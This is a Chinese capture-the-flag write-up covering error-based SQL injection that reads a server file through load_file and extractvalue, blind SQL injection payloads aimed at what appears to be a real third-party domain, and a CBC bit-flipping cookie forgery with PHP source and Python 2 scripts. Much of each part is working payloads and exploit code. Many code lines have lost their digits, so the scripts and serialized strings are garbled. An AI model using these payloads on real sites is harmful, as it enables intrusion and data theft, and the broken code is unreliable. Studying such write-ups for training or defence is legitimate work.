腳本得到的結果是md5加密的結果,加密前為skctf123456,這就是使用者名為admin時的密碼,登入進去就可以看到flag了。
….就解釋到這裡了…這個跟之前的題目相比,有一些新的知識點,是以我第一次接觸的時候完全想不到,以為隻有用
and
這一種方法呢…其實也是一種常見的套路,了解了之後會用,能想到用就可以了,也不用糾結為什麼會想到這樣處理….
-
報錯注入
題目的意思:告訴我們過濾了一下我們可能會用到的字元、關鍵字,讓我們在這種情況下查詢檔案
/var/test/key_1.php
的内容,這個檔案中雙引号包含的内容就是我們要找的flag值。
在網上了解一下報錯注入的原理、用到的函數,讀取檔案可以用的函數。
這裡用了load_file()函數,這個函數的參數可以是單引号、0x、char轉換的字元,題目過濾掉了單引号,是以我們采用0x的方式,我們要讀取的檔案
轉換為0x形式為:/var/test/key_1.php
0x2f7661722f746573742f6b65795f312e706870
。在本地資料庫測試讀取檔案内容,發現load_file()函數的傳回值是檔案包含的位元組數,是以改為hex(load_file()),這樣就可以得到十六進制形式的檔案内容了。現在我們就可以得到檔案内容了,但是直接這樣作為payload是沒有報錯資訊的(sql語句是正确的)。
這裡又利用了
這個函數,它的作用是從目标xml中傳回包含所查詢值的字元串….當然我們在報錯注入中并不是讓用它來查找字元串…我們利用了它的特點:當它的第二個參數不是正确的位址形式字元串的時候就會出錯。我們将讀取到的檔案内容 (在其首尾都加上extravalue()
0x7e
,讓其一定不是位址形式字元串)作為它的第二個參數,然後我們就可以通過報錯資訊知道目前的位址字元串是什麼,也就是我們從檔案中讀出的内容是什麼。
最終構造的payload為:(用%0a代替了空格, 也可以用括号)
(id=1%0aand%0a(extractvalue(1,concat(0x7e,substring(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0afrom%0a161%0afor%0a20),0x7e)))
函數的性質是隻能讀取32位,而檔案中的每一個字元是用兩個十六進制數來表示的,是以是不能一次性讀出的,就用extractvalue()
來每次讀20個,直到全部讀出,然後再恢複為字元形式,找到雙引号包含的内容即可。)substring()
也是有固定的套路的,積攢經驗,下次見到時候能想到,會用即可。報錯注入還有很多其他可以利用的sql函數,可以自己去百度學習一波。CTF-練習平台 writeup web -
實戰1-注入
這個題目和之前的實戰2-注入類似,也是給了我們一個已有的網站,讓我們找到網站的漏洞,并利用該漏洞進行攻擊。對網站進行一個sql注入的測試,發現在下面這個連結處有注入點。
構造:http://www.interplay.com/games/support.php?id=42
得到下圖結果。http://www.interplay.com/games/support.php?id=42'
可以看到,引号進行了轉義,是以我們是不能直接輸入引号來完成我們的攻擊的(原本的sql語句應該是沒有用到引号的)。在我們輸入的sql語句是錯誤的情況下,會顯示報錯資訊,我們就利用這個來進行攻擊。和之前的步驟一樣,去依次得到資料庫名、表名。CTF-練習平台 writeup web
(這裡輸入等号時會出錯,是以用id=42%20and(length(database())<>9)%23
來繞過,得到資料庫長度)<>
(可以寫一個python腳本來自動化測試,可以得到資料庫名)id=42%20and(ascii(substring((select database())from 1))<>105)%23
(因為不能使用引号,是以id=42%20and%20(ascii(substring((select%20(table_name)%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x696e746572706c6179%20limit%201)from%207))<>97)%23
就用十六進制表示了,這是從前面題目中TABLE_SCHEMA
load_file()
函數那裡得到的經驗。因為flag是資料庫的第一個表名,是以我們就不需要知道表的個數了。)
資料庫名為
,表名為interplay
或者使用sqlmap,用到的指令和上面的“成績單”題目中一樣,很快就可以得到結果,截圖如下:banners
CTF-練習平台 writeup web CTF-練習平台 writeup web - Trim的日記本
-
login4
題目說是cbc位元組翻轉攻擊…之前沒聽說過,看網上的writeup還挺長的…(隻能慢慢啃了~)先是百度了一下什麼是cbc位元組翻轉攻擊,了解了cbc模式的加密解密原理,也有介紹實作cbc位元組翻轉攻擊的原理。
接下來就開始做題目了…掃描網站(burp+字典),發現是有/.index.php.swp檔案的(直接通路該檔案即可下載下傳到),這種檔案是在vim非正常退出的情況下保留的,通過在vim中執行vi -r filename指令可以恢複原檔案,即可以得到index.php檔案。其中比較重要的代碼如下:
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=;$i<;$i++){
$random_iv.=chr(rand(,));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php" target="_blank" rel="external nofollow" >Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
/*顯示對應的html檔案,此處省略*/
}
}
?>
代碼稍微有點長,可以自己畫一個流程圖來捋一下它是怎麼實作功能的。
我們嘗試去以
username = admiN password = aaaa
登入,登入成功後,可以檢視到有兩個
cookie
:
iv = acinHcBLKxqp%2FI889qh2bA%3D%3D
cipher = g8RbtxKHo%2BWjB3HEBZoQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D
這兩個cookie都被進行了url編碼,我們可以使用python中的
unquote()
函數來解碼。
另外,由index.php中的源碼我們可以得到,url解碼之後的兩個字元串是base64編碼的,base64解碼後,iv對應的是初始化向量,cipher對應的是密文(是對
{'username':'admiN','password','aaaa'}
數組序列化後的字元串加密)。這裡稍微說的繁瑣點,多理一下,第一次見這種題目可能會很繞,至少我是這樣的。
那我們要怎麼做出這道題目呢?
有兩種判斷(對應
if(isset($_POST['username']) && isset($_POST['password']))
和
else
)。
第一種:對輸入的
username
進行了判斷,如果是
admin
就說不允許登入,不是
admin
就說隻有
admin
才能看到
flag
,這種判斷方式,在
login()
中指派了
$_SESSION["username"]
,又在
show_homepage()
中使用了這個值來判斷,我們沒辦法在這一過程中修改
$_SESSION["username"]
,進而也就是沒辦法拿到
flag
。
還有另外一種是判斷有沒有
$_SESSION["username"]
,有的話,就在
check_login()
函數中讀取cookie值,然後做處理,給
$_SESSION["username"]
指派,最終給
show_homepage()
使用。在這個過程中,我們可以操作cookie的值,使最終指派給
$_SESSION["username"]
的值是admin,這樣就可以繞過在
show_homepage()
函數中,通過驗證,拿到
flag
了。
那我們要做的事情就是修改兩個
cookie
值,讓他們在經過解碼,解密之後,可以得到
admin
,而不是我們最開始輸入的
admiN
。
cbc位元組反轉攻擊,就是要借助cbc内部的模式,修改某一組密文的某個位元組,導緻在下一明文當中具有相同的偏移量的位元組發生變化。這道題中的明文是(16個一組):
a::{s::"userna
me";s:5:"admiN";
s::"password";s
::"aaaa";}
通過以下代碼可以得到:
<?php
$username = 'admiN';
$password = 'aaaa';
$info = array('username'=>$username,'password'=>$password);
$str = serialize($info);
echo $str;
//執行結果: a:2:{s:8:"username";s:5:"admiN";s:8:"password";s:4:"aaaa";}
?>
我們想改變第二組中的
N
,那就要改變第一組中相同偏移量
r
(注意我們是要修改第一組的密文)。可以參考下圖:
修改的代碼如下:(剛開始在python3中運作程式,一直報錯…可能是編碼問題,反正我懶得找原因了….)
#! python2
import urllib
import base64
cipher = 'g8RbtxKHo%2BWjB3HEBZoQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D'
cipher = urllib.unquote(cipher) #url解碼
cipher = base64.b64decode(cipher) #base64解碼,此時得到初始的密文
ciphernew = cipher[:] + chr(ord(cipher[]) ^ ord('N') ^ ord('n')) + cipher[:]
#這裡給出一個我覺得比較好了解的解釋:
#cipher[13] ^ 解密(cipher[13 + 16]) = 'N' 這是正常情況下的解密過程
#cipher[13] ^ 'N' ^ 'n' ^ 解密(cipher[13 + 16]) = 'N' ^ 'N' ^ 'n'
print urllib.quote(base64.b64encode(ciphernew))
#輸出結果:g8RbtxKHo%2BWjB3HEBboQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D
那我們就得到了修改後的密文了,這個密文解密之後就可以得到我們想要的第二組明文 了,但是還有個問題,因為第一組密文解密時要用到初始化向量
iv
,這裡初始化向量還是以前的,但是第一組密文已經被我們修改過了,那就沒辦法得到正确的第一組明文了。是以我們還需要修改初始化向量
iv
。修改代碼如下:
#! python2
import urllib
import base64
iv = base64.b64decode(urllib.unquote('acinHcBLKxqp%2FI889qh2bA%3D%3D'))
jiamingwen = base64.b64decode(urllib.unquote('iUxB417J08WzUpvaN9t0pW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6ImFhYSI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(,):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))
#輸出結果gb7UxOXxwucgjGGVpAFsqA%3D%3D
'''
iv ^ 解密(cipher) = 明文
iv ^ 解密(ciphernew) = 假明文
iv ^ 假明文 ^ 解密(ciphernew) = 0
iv ^ 假明文 ^ 解密(ciphernew) ^ 明文= 明文
ivnew = iv ^ 假明文 ^ 明文
從這些“公式”,我們要知道假明文、真明文才能得到我們要的修改後的iv,真明文就是我們真正需要的序列化字元串,之前已經寫出來了,假明文可以通過帶着修改後的cipher值去通路網頁,通過網頁報錯來看到。
'''
是以我們修改後的cookie為:
cipher = g8RbtxKHo%2BWjB3HEBboQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D
iv = gb7UxOXxwucgjGGVpAFsqA%3D%3D
帶着這兩個cookie值去通路頁面,即可得到結果。